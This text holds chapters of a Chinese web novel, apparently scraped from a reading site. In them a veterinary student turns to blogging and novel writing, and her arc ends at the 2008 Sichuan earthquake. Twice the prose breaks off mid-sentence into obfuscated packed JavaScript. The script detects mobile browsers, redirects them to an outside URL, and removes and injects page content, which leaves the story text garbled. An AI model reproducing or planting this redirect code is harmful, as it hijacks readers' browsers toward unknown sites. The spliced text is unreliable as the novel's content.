在医院里能学到的东西很多,林羽翼实习一两个月,收获比在学校里纸上谈兵两三年都要多。后来院长忙碌起来,她甚至能独立看诊。 晚上下班回到师涟家里,林羽翼抓紧睡前的两三个小时,在电脑上噼里啪啦地码着字。 每周放假的那一天,林羽翼便好好地补个觉,一觉睡到大中午,下午陪着孙阿姨看店、算账,晚上一块儿去广都街上闲逛。 按理说,这样的生活很规律、很充实。 可是不知什么时候起,林羽翼开始觉得疲惫,开始抗拒去医院上班的日子。 她害怕。 她不想再看见一条条鲜活生命在自己眼前逝去,不想费尽心思去哄着宠物主人,不想与他们虚与委蛇地交谈,也不想再看见他们脸上或是愤怒或是寒心的神色。 不仅是白天,就连林羽翼夜晚的梦境,都被医院里的一幕幕侵蚀。她一闭眼,脑海里便浮现出白天经历的生离死别、歇斯底里。 短短三个月时间,林羽翼便感觉自己从内到外都被掏空了。 上班、码字、睡觉,一天天地重复着,她觉得自己内心只剩下一片难以言明的虚无。这种虚无感和以前任何时候都不一样,和她以前在学校里拼命努力学习、兼职过后的充实感不一样,和备考雅思时的痛苦也不一样,以前再辛苦再劳累她都能撑过来,现在她却觉得自己连灵魂都被掏空。 每周放假的那天,林羽翼和孙阿姨走在广都街头,她抬头看着那一栋栋早已看腻了的熟悉建筑,看着街边来来往往的人群,看着明亮夜空里时隐时现的月亮,只觉得无趣极了,仿佛世界永远都是这个样,没有一丝变化。 她觉得自己被困在了一成不变的小小世界里。 三个月实习结束,当院长询问她要不要转正时,林羽翼想也不想便拒绝了。 院长给她开的转正条件并不差,一个月基础工资两千四,加上餐补和社保,共三千五百元,再算上提成,一个月说不定能有五千元,对于一个刚毕业的大学生来说,这已经是非常、非常丰厚的报酬了。 但林羽翼依旧不愿意。 大四,二十一岁的年纪,林羽翼终于能够明白两三年前,师涟告诉她“不喜欢学医,所以转专业”时的心态了。 十八九岁的林羽翼不懂,她觉得当医生有啥不好?工作稳定,工资不低,前途一片光明,有啥不好呢?可现在,她宁愿自己在家一天到晚码字十六个小时,勉强挣个三千来元,也不愿意朝九晚八在兽医院一个月挣四五千元。 “林羽翼,你不多考虑考虑吗?”院长听见林羽翼说不想干了,十分诧异地皱起眉,“你怎么想的?你要回学校考研吗?” 实习前,林羽翼的确抱着“要是不喜欢工作,就回去考研”的想法,然而实习三个月后,她发现自己虽然不喜欢作为宠物医生而工作,却更不愿意回学校继续读书。 因为出国的事儿,林羽翼本就对继续读书这个选项有了抵触的情绪,紧接着,实习的这三个月里,她每月实习工资和码字赚的钱加起来,一个月已经能有三千多元,多的时候逼近四千。这种金钱带来的自由感觉,是读书时从未有过的。 林羽翼想的很清楚很透彻,对现在的她而言,读研是为了什么?是为了毕业后能够找个好工作,赚大钱。可是如果不读研,她就已经能赚到还不错的钱呢? 那么她为什么还要把两年——甚至三年的时间,浪费在校园里?浪费在随时可能让她努力全部白费的校园里? 实习的三个月时间很累,很空,可她切切实实地拿到了钱,也切切实实地看到了未来。能够被她掌握的手里的,真切无比的未来。 她在学校里只是个籍籍无名的“万年老二”,是不被老师和同学喜欢的边缘人,可是出了学校,凭借着优秀的应试成绩和英语水平,她也能是别人眼里的香饽饽。 尝到了有稳定工资拿的甜头,林羽翼不想回到学校,不想做个每月只能兼职赚一两千的穷学生,不想再过命脉完完全全被掌握在别人手里,拼命努力几年后却一场空的日子。 养殖场、检疫员、制药厂……除了宠物医生,林羽翼还有许多种选择。她不再觉得焦虑,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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[而我一天的消费是,不到十五元。] [我并不嫉妒这些小猫小狗,也并不认为它们的主人把钱大把花在它们身上有什么错,我只是感慨于它们的好命。好吧,我承认,我很羡慕它们。我真切地觉得,命运它就是不公的。] 情绪上头,林羽翼噼里啪啦敲着键盘写个不停。 她写她的家境,写她的成长,写她残疾的父亲和不争气的哥哥,写她在高中时的所见所闻——从大山里走出来的张通蜀,以及从云端漫步而来的张潇扬。 她最后写:[有些时候我会想,这个世界真是不公平到了极致,寒窗苦读十余载,拼命努力了这么久,我仅仅是能看到这个世界的参差,却依旧摸不着那层无形的幕布,怎么也摸不着。] “呼……” 写完后,林羽翼长长地舒一口气,回头看看她这一段段激昂的文字,她的目光越来越沉,鼠标光标停在“发送”键上,却怎么也摁不下去。 她觉得自己写得太过了,这些激昂偏激的情绪,并不适合被陌生人看见。 迟疑几秒后,林羽翼删掉文章的大半内容,只剩下开头那段自己在宠物医院里的所见所闻,感慨那些小猫小狗的好命。 点击发送后,林羽翼瘫坐在靠椅上,抬手揉着额头,大脑里兴奋的情绪一点点褪去,困意上涌,她看一眼时间,竟然已经凌晨一点了。沉浸在文字世界里,时间过得真是快啊。 林羽翼迅速关上电脑,沿着夜色下清冷寂静的银杏大道,吹着深秋凉风,慢步走回寝室。 一路上,她都在回味刚才在键盘上挥洒汗水的感觉,把心里的苦闷、极端的情绪,全部化为文字,一股脑倾泻出来的感觉真好。 回到寝室,室友竟然还在点着小灯复习,林羽翼躺上床,听见床帘外窸窸窣窣的翻书声,忽的又觉得有些孤独。 是因为那只叫呆呆的小猫不在寝室了吗? ——从今年初开始,室友们便在讨论呆呆应该何去何从,当时她们眼看就要大四,实习的实习,考研的考研,没有谁有时间去照顾一只小猫。把呆呆送给亲戚养呢?她们不放心。 去年暑假一位室友把呆呆放到乡下亲戚家去,没想到这只调皮的小猫差点走丢被黄鼠狼吃掉!最后亲戚一家人出动才把猫抓了回来,小猫倒是没受伤,可全身上下都长着跳蚤。回到寝室后,林羽翼六人给它把毛剃光,用药治了好久,才把跳蚤给驱干净。 没想到,最后竟然是师涟看上了这只小猫。 她四月份来林羽翼宿舍见过呆呆一面后,便对这只狸花猫爱不释手,当晚就和林羽翼的室友们商量好了,让她把呆呆带回家。 呆呆就这么住进了师涟家里,准确的说,是孙阿姨家里。 宠物医院实习的那段时间,林羽翼每晚拖着疲惫空洞的身体回房间后,一边听着小猫呼噜呼噜,一边用电脑码着字,码完了,再抱着小猫沉沉睡去。小猫柔软的毛发和呼噜的声音,是林羽翼实习期间为数不多的心灵慰藉。 现在呆呆应该正躺在孙阿姨身侧呼噜着吧? 林羽翼想着,不由得柔软笑着摇摇头。呆呆在她们宿舍里过了一年多苦日子,现在去了孙阿姨家里,也算是她文章里写的那种好命小猫了。 林羽翼的确不羡慕,更不嫉妒。 感叹命运不公就足够了,干嘛要羡慕嫉妒猫猫狗狗?如果——如果以后有一天,她能够摆脱金钱的桎梏,能够负担得起一只小猫或是小狗的生命,她也要让自己的小猫小狗,过上这样美好的日子。 林羽翼一觉睡到中午,照例迷迷糊糊地去食堂吃顿午饭,她才慢悠悠走去机房,准备今天的码字内容。 开始码字前,林羽翼照例打开博客,看看新闻推送,然而账号登录成功后,铺天盖地的红色通知立马占据她的视线。 博客右上角未读消息,系统通知、私信、收藏、评论、转载,还有新增粉丝,竟然都、都冒着红色的小点儿!那些显眼的红色数字已经超过了“99”,变成一个“+”号! 什么情况! 林羽翼盯着屏幕,茫然地眨巴眼,有一瞬间甚至以为自己登错号了,她再三确认了几遍,没错,是她的头像和ID:一只飞翔的鸟儿。 她不敢相信自己看到的一切,怔怔打开博文栏,映入眼帘的是她昨晚发送的那一小段感慨,就是这么一段简单的文字,浏览量竟然达到了……六十七万! 接近三千个“喜欢”,四万八千条评论,还有上万条转载。甚至还有十七个“赠金笔”打赏,一共五十三元钱。 也就是说…… 这篇博文火了!彻彻底底地火了! 林羽翼怔怔地往下划拉,看见评论区里密密麻麻的文字,她的眼睛再一次震愕地瞪大—— 评论区竟然就着“宠物生活费比人要高”这个话题吵得不可开交,网友们剑拔弩张,几乎快要打起来。 一部分人说,自己就是喜欢猫猫狗狗,就是喜欢给小猫小狗花钱,这是有爱心,怎么,碍着谁了吗?谁要是不喜欢猫猫狗狗,那就是冷血,就是没爱心! 另一部分人说,你们对猫狗比对自己爹妈还要好,这是给猫狗当奴隶去了!非洲还有那么多小孩吃不饱饭,你们有钱喂猫喂狗,不如拿去捐给非洲小孩! 双方辩手各执一词,吵得不可开交,评论和转发数“哒哒哒”地不断往上跳。 林羽翼看得目瞪口呆:“……” 她怎么也没想到,自己随口的感叹,竟然会引起这么大规模的共鸣。她昨天写出这一篇文章时,本以为后面那一大片、已经被删掉的情绪化内容,才是文章的中心,才是文章主题,可是,这会儿林羽翼忽然意识到,如果她不删掉那么一大串长篇大论,这篇博文可能压根不会这么火。 正是因为这篇博文只有短短一两百字,简短明了的文字,大量的情绪留白,才给了网友们自由发泄的空间。 隐隐约约间,林羽翼感觉自己好像抓到了什么。 这时的她还不明白,她抓住的,是自媒体发展早期的辫子,是名为“流量密码”的诀窍。 她只是隐约地感觉,她或许……可以在博客平台上,赚到一笔钱了。 有着写新闻稿和码字的经验,林羽翼对网络平台能赚钱的概念并不陌生,甚至可以说,她在这方面嗅觉非常敏锐。 早在几个月之前,博客平台推出“广告共享计划”时,林羽翼便第一批报了名,想要赚得些许广告费,可是她的小故事浏览量太低,平台并没有通过她的申请。 那么现在呢?林羽翼用力眨眨眼,第一时间点开通知栏,点进系统通知里,目光迅速往下扫,果不其然,她在一条条通知里面,看到了“签约通过”的字样! 哈! 林羽翼立刻点进这则通知,再通过里面的链接点进“分成中心”,由于她以前便申请过加入共享计划,她这篇爆火的博文已经有了收入。 林羽翼看见屏幕上的数字,嘴巴微微张开,眼睛震惊得甚至忘了瞪大,她的睫毛恍惚地颤了颤,整个人,都有些傻住了。 目前为止,这一篇博文获得的广告收益是,八百一十三元。 八百来元啊! 她现在码字千字是十五元,如果每天写六千字,她需要写十天,才能获得八百元稿费。 她在宠物医院实习,一个月工资是九百元。 而她只是在互联网上发表一篇百来字的吐槽,便能有、有八百元的收入。林羽翼整个人,霎时间被这一笔天降之财砸傻了。 47.第32章 如果自己每一篇博文都能获得这么多广告分成,那、那岂不是发财了? ——林羽翼并没有这么想。 毕竟大半年前,她将将才有过眼睁睁看着“天降馅饼”溜走的经历,阵痛还没有过去,伤疤还没有愈合,她不会再一时上头,激动地觉得自己是最特殊的那个人,不会再觉得这是老天抛到她脸上的独一无二的机遇。 这或许是一个机会,但她一定要奋力地去抓,才能抓得住。 冷静下来后,林羽翼一条条仔细翻看着网友们的评论,试图抓住这条博文爆火的秘诀。除了简短明了的文字和情绪留白,这条博文还有什么特殊之处吗? 她总觉得,只是这两点的话还不够,一定还需要什么。 林羽翼绞尽脑汁地想着,忽然Q丨Q响了一声。 师涟:[我在博客首页推送上看见了你的博文。] 师涟:[你看见这些评论了吗?我也很好奇你在宠物医院的工作日常,要不要考虑把它写成一系列短篇博文?] 师涟:[截图.jpg] 师涟发送的是一张评论截图:[作者很棒,等你更新哦!作为一个养宠人,我很好奇医生们的工作是怎样的。请一定多多分享您的经历!] 咦?林羽翼循着师涟发来的截图上用户昵称,还真找到了那条评论,让她惊喜的是,这位留言的用户竟然还关注了她,成为了她的粉丝! 林羽翼再在评论区里翻了一圈,她这时才发现,在数不清的吵架评论中,的确有那么一小部分人留言希望她能继续更新,继续分享宠物医院的工作日常,有人是因为喜欢小动物,有人是因为自家孩子考了兽医专业,不知道就业方向如何,所以想从林羽翼这里了解宠物医生这一职业。 [我试试!] 林羽翼噼啪敲下这三个字,发送给师涟。 是啊,宠物医院工作日常! 她似乎明白了,她这一篇博文能够爆火,除了“简洁明了”和“情绪留白”两个原因,更重要的是博文主题,是她在宠物医院工作后的感慨。 林羽翼脑瓜子转得飞快。 “世界的参差”、“毫无预兆的生离死别”、“宠物主人的‘两幅面孔’”,还有她工作时无处诉说的压力与苦恼,她能够感慨的主题可太多了! 她不需要长篇大论地自我剖析、发泄情绪,她只需要用简短的文字,用着吐槽的语气,把这些经历分享出来,而这段经历中空缺的情绪部分,就由网友们来填充,让他们在评论区自由发挥。 靠着博文赚钱并不稳定,这一篇博文可能有上千元分成,下一篇或许就只有一二十块,谁也猜不到网络流量的走向究竟如何。 但林羽翼并不焦虑。 毕竟,写博客短短几天赚到的钱,就已经超过了她辛苦码字一个月的收入。不稳定又怎样?反正钱已经拿到手了。 就这样,林羽翼一边有规划地写着“宠物医院日常”,时间一天天过去,她贫瘠的存款随之一点点往上涨着,从最初的七千元,渐渐涨到了接近三万元。看着网银账户里越来越多的钱,林羽翼不由得心痒痒,要不要……买一台电脑? 要靠互联网赚钱,电脑是刚需,她总不能一直蹭着学校机房和师涟家的电脑。 她必须拥有一台属于自己的电脑。 可林羽翼了解过电脑的价格后,心里立马打起了退堂鼓。 电脑可比手机贵得多!就算是打着“超低价”广告语的联想笔记本电脑,也得四千元出头,更别说三星这种国外大牌电脑,一台就得上万元。 林羽翼的存款越来越多,可这并不代表着,她可以负担得起几千、甚至上万元的电脑。 她手里的存款是她一笔笔赚来的,更是她省吃俭用省来的。她身上还压着王登高的担子,她不敢胡乱花钱。 去年从沪城回来后,林羽翼几乎彻底和王登高断了联系,甚至都不怎么和王心宜联系了,她实在太抗拒那一段记忆。 那一段……堪称刻骨铭心的痛苦回忆。 林羽翼只是从王心宜的只言片语中,得知了王登高的动向—— 跳江一事过后,他竟然慢慢地“活”过来了,活得并不算很好,但他不再半死不活地躺在棚屋里喝酒睡觉,他出门找工作了,挣得不多,但好歹有了收入。 同时,林羽翼摸清了王登高欠债的具体数额,大几十万,没有上百。欠款数额在给了林羽翼些许希望的同时,又让她觉得有些可笑。王登高啊王登高,居然被这点儿钱压到绝路,连带着把她也卷入绝境,可真是…… 真是,没见识。 没见识啊。 没有见过更广阔的世界,就算见过,也从期望过,自己能够拥有在那里自由翱翔的机会。所以才会被那么一点点欠款压倒,压得不人不鬼。 如果当初,王登高能够再伸着脖子往前看一点点,目光稍稍放远一点点,一切或许都不一样了。 没有如果。 算了,别想王登高了,林羽翼继续思考起电脑的问题。她一定需要一台电脑,既然全新的电脑太贵,那么二手呢? 林羽翼在网络上搜索着,摸索着进入一个电脑相关的技术论坛进行询问,忽然,一条不起眼的帖子吸引了她的注意力: [各位大牛们看看,我的洗洁精电脑怎么样?] 洗洁精?电脑?着两个八竿子挨不到一块儿的词语,同时出现在技术论坛里,便格外吸人眼球。林羽翼好奇地点进帖子,看到贴里的图片,一下子被震惊得眨不动眼儿。 贴主竟然用洗洁精盒子作为外壳,组装了一台电脑主机! 他甚至在图片下面放出了每一个零件的价格,主板、CPU、显卡,所有配件加起来不过三百元! 自己组装电脑竟然这么便宜吗?林羽翼目瞪口呆地往下翻看留言,更让她震惊的是,帖子的评论里,竟然有人在“压价”,那些技术大牛们纷纷下场和贴主讨论,哪些部件可以优化,哪些地方还能省钱,最后他们得出的结论竟然是:只需要一百三十元,就能组装出这么一台电脑! 林羽翼看不懂那些电脑部件的型号,可她看得懂那一个个标价啊! 只要一百来元,就能拥有一台主机电脑,这可比笔记本电脑便宜多了!不,何止是便宜,完全是白捡! 林羽翼沉下心,继续浏览论坛里别的帖子。除了类似的炫技贴,论坛里还有很多新手求助贴,询问电脑配置问题。 在论坛里泡了一整天后,林羽翼大概明白了其中的“玄机”。 首先,并不是随便买点儿便宜零件就能拼凑出一台让人满意的电脑。每个人对电脑的需求不同,对电脑的配置要求也不同。 像是林羽翼,她需用用电脑码字、流畅地使用浏览器,有的时候可能还需要使用PS等软件,她的办公需求对电脑配置是有一定要求的。 其次,电脑这一行水深得很,林羽翼作为一个新人小白,贸然闯进电脑城买零件,不知道得被坑成什么样! 她去电脑城配一台满足自己要求的台式电脑,花的钱说不定和买一台笔记本差不多高,甚至更多。 怎么办呢? 林羽翼咬着唇,继续浏览着论坛里的帖子,眸光越来越沉。她一边学习着电脑配件的相关知识,一边思考着该怎么做。 一直到晚上回寝室前,林羽翼都没想出什么好办法,她伸个懒腰,借着无奈的情绪,写博客吐槽: [标题:听说一进电脑城就得被扒层皮!真是这样吗?求出招!] 写了几个月博客,林羽翼已经深谙标题的重要性,信手拈来便是一个引人眼球的标题。第二天一早回到机房,林羽翼果真看到一堆评论,这条博文又火了。 她点开评论区,和她想的一样,留言里大多是争吵,买家吐槽电脑城有多坑人、分享自己被坑的经历,而卖家要么沾沾自喜、要么诉苦说自己也要赚钱的啊!说着说着,两方便吵了起来。 除去争吵,林羽翼浏览许久,终于看到了几条有意义的留言: [博主要不要自己去电脑城体验体验,然后好好写写你的经历,给大家排排雷,也算是好事儿一件!] 林羽翼可没那闲钱作为消费者去体验,但这条评论给了她灵感,不做消费者,她可以用别的身份去电脑城“体验”呀! 计算机学生如何? 寒假实习如何? 嘿,说不定还真行! 在外人眼中,计算机学生总是和修电脑挂钩,但林羽翼学习网页编辑的时候,和那些计算机专业的同学聊过天,他们压根不会修电脑!他们只会写代码! 可就算这样,依旧有不少计算机专业的同学,会利用假期时间前去电脑城做兼职,林羽翼还真可以混入其中呢! “宠物医院实习”系列小短篇总会写完,她正好再接上“电脑城实习”系列短篇,哎嘿,流量这不就又来了吗? 既能写文章,又能学会装机知识,解决没钱买电脑的问题,一箭双雕! 就算文章没火起来,她学会了修电脑,也算掌握了一项谋生的技术嘛!以后毕业还愁没活儿干?哈,也算是另一个就业方向了。 林羽翼立刻行动起来,一边复习起当初学过的网页制作的知识,一边在论坛里学习装机的基础知识,总不能去了电脑城还一问三不知嘛。 掌握了基础知识,林羽翼三下五除二背上背包,从学校赶车回到蜀都,当天下午就混进了蜀南数码城里。 这份兼职比林羽翼想象得轻松得多,她戴着个鸭舌帽,穿着一身运动系深色夹克,长发扎成活力满满的马尾辫,脸上露出颗青涩的梨涡,就这么跑到招工点试探性地问了几句,说自己是计算机系的学生,想要找个兼职,对面都没问她什么专业知识,只让她搬了搬主机试试力气,便毫不犹豫地收下她这个打工仔。 “每天上午十点半到店里开门,不要迟到啊。”就这么一个要求。 林羽翼本以为,修电脑这一行嘛,就像修家电一样,男师傅肯定占了多数,可让她意外的是,数码城里四处跑的男销售反而更多!坐在店子里负责维修的,反而女工占大部分。 她把这一发现写到博文里,同样引起了大范围的讨论。 一边网友说她胡说,女人怎么可能懂电脑!怎么可能会维修! 另一边网友反驳说:怎么不行啦?维修电子产品是精细活儿,男工心不静、坐不住,女工既有耐心又细心,可不比男工好? 两边吵来吵去,没个结果,而林羽翼的维修学徒之旅,就此拉开序幕。 比起兽医院,电脑城的工作节奏要舒缓许多,上午十点,林羽翼慢悠悠地从新村的家里出发,坐上进城的公交车,十点半准时抵达数码城,开始一天的工作。 上午数码城里一般没什么人,林羽翼只需要坐在那儿,和同龄的兼职生打趣儿聊天,学一学基础知识,中午在楼下吃碗盒饭,回去睡个午觉,下午三点才开始忙碌。 说忙也不忙。 林羽翼上手后才发现,组装电脑比她想象得还要简单许多,那些看似高端的部件,其实和积木玩具一样,只需要把它们放在合适的位置拼好,拧上螺丝,一台电脑就组装完毕。 电脑维修呢?同样大差不差,不麻烦的,开个机就能知道是哪个部位的零件坏了。麻烦一些的呢?拿着万用电表稍稍检查一下就成。哪个部件坏掉了,换一个就成。可是换什么型号的呢?二手的还是全新的?前来修电脑的顾客基本都不懂啊,这不就给了电脑奸商们坑钱的机会? 后来林羽翼发现,其实电脑城里那些奸商们,也都只是半吊子,真正的电工高手不仅可以检查出哪个零件坏了,还能直接上电焊,给它修好!只不过,大多数电脑零件购买成本不高,与其拿去维修,还不如直接换新。 吃过晚饭,傍晚七点,电脑城里便没什么人影儿了,于是林羽翼优哉游哉地收拾好铺子,出门坐公交回家。 至于码字和博客?当然是趁着工作间隙,顺手给完成了。 一个月过去,林羽翼抱着自己亲手组装的电脑回到学校时,甚至还有点儿不舍呢。她舍不得电脑城里悠闲的氛围,但同时,她更加深刻地意识到,她骨子里并不喜欢工作,或者说,并不喜欢上班。 不喜欢被人管着,不喜欢在做自己的事情时还得随时待命,不喜欢拿着那些话术去哄骗顾客。 眼看春日招聘的日子越来越近,林羽翼开始认真思考自己的未来。 博客平台上,继“宠物医院实习”系列短篇后,她的“电脑城兼职”系列又一次大火,甚至火爆程度还要超越之前,她已经成为平台的优秀创作者。 在码字写小说这方面,她同样在稳定进步,目前,她已经能够接到千字十八元的小说。在所有工作室圈子里,这都是非常高的价格了。 从接触网文以来,林羽翼总共写下了近三百万字,而她看过的网络小说,更是数不胜数。 她会囤着一口气看完整本小说,也会跟随着作者的更新节奏慢慢追更,她读过网络上赫赫有名的神作,也见证过一本书是怎样从籍籍无名走到万口相传。 林羽翼那颗想要创作出属于自己的长篇小说的心,又一次蠢蠢欲动。 她的心里有两个小人在打架。 一个说,她没有写作的天赋,如果有,为什么她写了三百万字,还是只能在工作室当个不入流写手?为什么她投稿给小说平台的那些稿子,总是被编辑拒绝? 另一个说,她如果没有写作的天赋,怎么可能靠着博客赚那么多钱!如果她没有天赋,怎么可能日复一日码出那么多字,靠着码字稳定地养活自己整整两年!她有天赋,只是她自己可能都没有发现。 为什么她的稿子次次都不被小说平台接收? 扪心自问,她完完整整创作过一次大纲,完完整整写过一次长篇小说吗? 没有! 她压根没有做过的事情,怎么能就此断定自己没天赋? 她想写吗? 她想写小说吗? 她想拥有一篇属于自己的、完整的长篇故事吗? 想。 无论对自己进行多少次提问,答案都只有一个,那就是,她想。 既然想,那为什么…… 不去试试呢? 试试吧。 这样的想法从林羽翼心底钻出,立马便沿着她的心,沿着她的脑海,沿着她的灵魂,生根发芽,汲取着她心灵深处所有的养分,盘根错节地盘踞了她整颗心。 她想要试一试。 从小学时写出第一篇被父亲表演的作文开始,从高中时熬夜写出《绝代双骄》的衍生文时开始,从大学后一次又一次在博客上发表属于自己的小故事时开始。 她一直想要试一试。 想要……成为真正的作者,创作出独属于自己的文学故事。 没有天赋? 那么就用努力弥补。 林羽翼的努力,从研究作者论坛开始,她把论坛里的干货贴打印装订成册,一字一句地学习甚至背诵。既然她自己不懂怎么写好一本长篇小说,那么最好的方法,就是虚心学习他人的经验。 贴子里说,想要提升文学基本功,最笨却是最有效的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305636|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法便是摘抄。林羽翼便给自己定下了每天摘抄一千字的任务,早起后一字一句抄写《红楼》。 贴子里说,想要写好小说“黄金三章”,扒文和拉片学习必不可少。林羽翼不懂什么是扒文、什么是拉片,但她初高中写过那么多语文阅读理解,她像是做题一样,把那些小说内容扒出来,逐字逐句地去分析、去理解作者的用意。她看电影,看电视,随时拿着个小本本,认真记录下每一个分镜画面,每一个转场镜头。 贴子里说,对于一名作者来说,看得再多、学得再多,也不如真正动笔写,勤耕不缀才是通向成功的唯一捷径。 于是林羽翼开始没日没夜地码字,创作属于自己的第一本长篇小说,一天八、九千字,反复修改、订正,从早写到晚。 倾尽所有时间精力,努力学习、一心创作,同时意味着,林羽翼拿不出一分一毫多余的时间了。 除了隔三差五还能写一篇短小的博客,林羽翼实在没别的时间。 她辞去了工作室里的码字工作,更没有时间前去参加春日招聘会。 如果一定要去参加春招,一定要找个工作的话,林羽翼其实可以歇息那么一两天,空出那么一两天的时间。可是她没有。她不想去春招了,她……她只想埋头写作。 林羽翼不知道自己做出的这个决定是否正确,她没有多想,没有去焦虑未来,她只顾着埋头写。 而事实证明,努力是有用的。 天道酬勤并不是一句空话。 四月中,林羽翼写完两本二十来万字的中长篇小说,第三本小说开头,终于通过了网站签约。 五月初,林羽翼的第一本VIP小说上架,她第一天收到的订阅收入是……二十五元,第二天,三十元,第三天,六十元,第四天登上网站推荐榜,收入翻了倍,一百二十元,后面都稳定在这个数字之上。 换算成千字,短短几天时间,已经超过了她在工作室写文时的最高千字。 除了收入,更让她惊喜的,是每一章小说下方,读者们的留言。小说评论区不像是博客留言区那样,几乎全是争吵,相反,小说评论区里大多是在讨论剧情,分析剧情走向,夹杂着几句对“作者大大”文笔的夸奖,以及催更留言。 这些留言看得林羽翼心里暖暖的,她真的创造出了一个独一无二的小世界,以及世界里鲜活的人们,这个世界是她创作的,却又并不独属于她,而是与许许多多存在于现实世界的人们、被称为读者的人们,产生了交集。 就好像,林羽翼自己也靠着这个小世界,撞入了他人的世界。这种感觉很奇妙,暖暖地在心里扩散开,悄无声息驱逐走她心底自己都未察觉到的孤独感。 林羽翼很满意,很自豪。 看吧,她就说,她有这个能力。 林羽翼整天埋头写作,在网络世界里混得风生水起,可是现实世界,就没那么让她满意了。 毕业答辩在即,她的毕业论文却被导师打了回来。 林羽翼早在去年夏天做实验的时候就完成了论文,前几次修改时明明没有大问题,可偏偏这次,导师抓住她论文里的小细节,叹着气: “林羽翼,兔场调研这一块儿,你去做过吗?” 林羽翼很老实地摇头:“没有。” 她的论文主题是“一株兔源短帚霉的分离鉴定”,说是分析一例兔场里离奇死亡的病兔案例,从兔子尸体里提取相应的致病菌,可事实上,她拿到手里的已经是提纯过的菌落,她只需要把菌落再提纯一遍,做一做相应的鉴定实验。 至于那只死去的兔子?她见都没见过,能怎么写?她只能参考别人的文献。 可这会儿,导师的意思,竟然是要她亲眼去兔场看一看类似的案例,再回来写进论文里。 “兔场在川北离堆县,就在我们学校离堆校区旁,我给你开个条子,你晚上住学校宾馆,方便你去调研。”导师说着,神情复杂地拍拍林羽翼肩膀,“我知道你毕业后不准备做专业相关的工作,你在自学计算机是吧?我理解你不喜欢咱们专业的心情,可是毕业实验你得认真做啊,不能够随随便便混过去!” 林羽翼明白了,估摸着又是谁在老师们面前说她坏话,说她一天天只知道往机房跑,一点儿不顾自个儿专业的学习。还能是谁呢?猜都不用猜,是岳程成啊,听说他保了本校的研,现在是各个导师眼中的香饽饽呢。 实地调研花不了多少时间,林羽翼自己呢,也想漂漂亮亮地写完自己大学生涯最后一笔,她应下导师的要求,当晚便加班囤下后面两天的小说稿子,第二天一早,乘坐校园大巴前去离堆校区。 农大有两个校区,一是川南的雅城校区,二便是川北的离堆校区。 两个校区都靠着川西,处在川城风景最秀丽处。 而离堆校区不远处,更是有着闻名千年的离堆古镇,涛涛江河,鱼嘴飞沙,白昼里能听江河翻涌,清晨远眺能见日照金山,夜晚抬眸能看银河星辰。前往离堆校区的山路上,还会遥遥经过天仓山脉,路过历史悠远的道教圣地。 作为一个土生土长的川城人,林羽翼老早就想去离堆县看看了。只可惜小时候的她没钱旅游,长大了又没那时间精力,现在总算是逮着机会了。 从川南到川北,一路几乎都是崇山峻岭,郁郁葱葱。 林羽翼一路看着车窗外的山林,只觉得都快看腻了,到后来干脆昏昏沉沉埋头睡着。然而大巴车驶入川北境内,靠近离堆县城时,林羽翼无意间往外瞥一眼,昏沉睡意瞬间被驱逐出脑海,她整个人倏地精神起来,仰头往窗外探望。 大巴行驶在宽阔无人的公路上,两边是绿油油的田野,不远处是县城里一排排五六层高的房屋,再往更远处看,竟然是…… 是一片连绵不绝的雪山。 午后金光灿灿,洒在皑皑白雪之上,山巅与碧蓝天际相接,远远看去,林羽翼甚至有些分不清那一团雪白色,究竟是山,还是云。 太美了。 美得像是一场极不真实的梦境。 林羽翼掏出手机,对准远处的雪山想要拍照,可惜手机像素太低,只能远远拍个轮廓。下次叫上师涟一块儿来玩儿,一定要带上长焦相机,林羽翼遗憾地想着,收回手机。 这时她还没有反应过来发生什么,只听得原本安静的车里忽然响起一阵惊恐呼声,那是人类在极度惊吓的状态下,从嗓子眼儿里挤出来的呼声,声音直冲天际,划破午后车厢里昏昏欲睡的氛围。 林羽翼还不知道发生了什么,可听着这声音,她的心脏不住地震颤一下,已然被那股恐惧的情绪感染。 “呲呲——!” 刹车片的声音刺痛耳膜,大巴急停在公路中央,林羽翼毫无预兆地被甩出座椅,狠狠撞在前排靠背上。她用力撑起身子,次牙咧嘴地往窗外看。 然后,她的大脑一片空白,只感觉脊椎根部蔓延起一股战栗的电流,直蹿天灵盖。 她看见了…… 天崩地裂。 原本宽阔无人的道路一节节断裂开,裂痕不大,却像是一张张咧着尖牙的黑色巨嘴,能够吞噬一切似的。沿着裂痕往前看,远处城镇里的房屋就如同纸板般悄然坍塌,烟尘四起,可林羽翼离得太远,连一丝声音都听不见。这样安静的画面,却死死地焊进她的脑海,冲击着她的灵魂。 她整个人都在抖。 掉落在一旁的手机被撞得亮起,碎掉的屏幕上依旧能看清时间。 现在是2008年,5月12日,下午2点28分。 地震了。 【卷二:浮生一梦 完】 48.第1章 从蜀都到沪城的日子很不好过。 讨生活的普通人尚且如此,更别说王登高不是来讨生活的,他是来躲债的。 刚来沪城的时候,王登高连个能遮风挡雨的逼仄城中村房间都租不起,只能住在破破烂烂的棚屋顶楼天台,自己捡些铁皮栏杆回来,搭了个能够遮风挡雨的小棚子。 每天也没个正事儿可以干,要么躺在棚子里喝得烂醉,第二天顶着宿醉带来的难受感觉,晕乎乎躺床板上发呆,头痛,全身都痛,胃里不停地在抽抽,就这么躺着,什么都不想,头疼得压根什么也想不了,连自己是谁都快忘了,一直到肚子疼得不行,才撑着墙壁摸索起身,踉踉跄跄出门去弄点儿吃的。 王登高还没有沦落到去翻垃圾桶的地步,他只是外表像流浪汉一样,浑身上下脏兮兮臭烘烘乱糟糟,没个打理,但他心里始终有道坎儿亘在那儿。 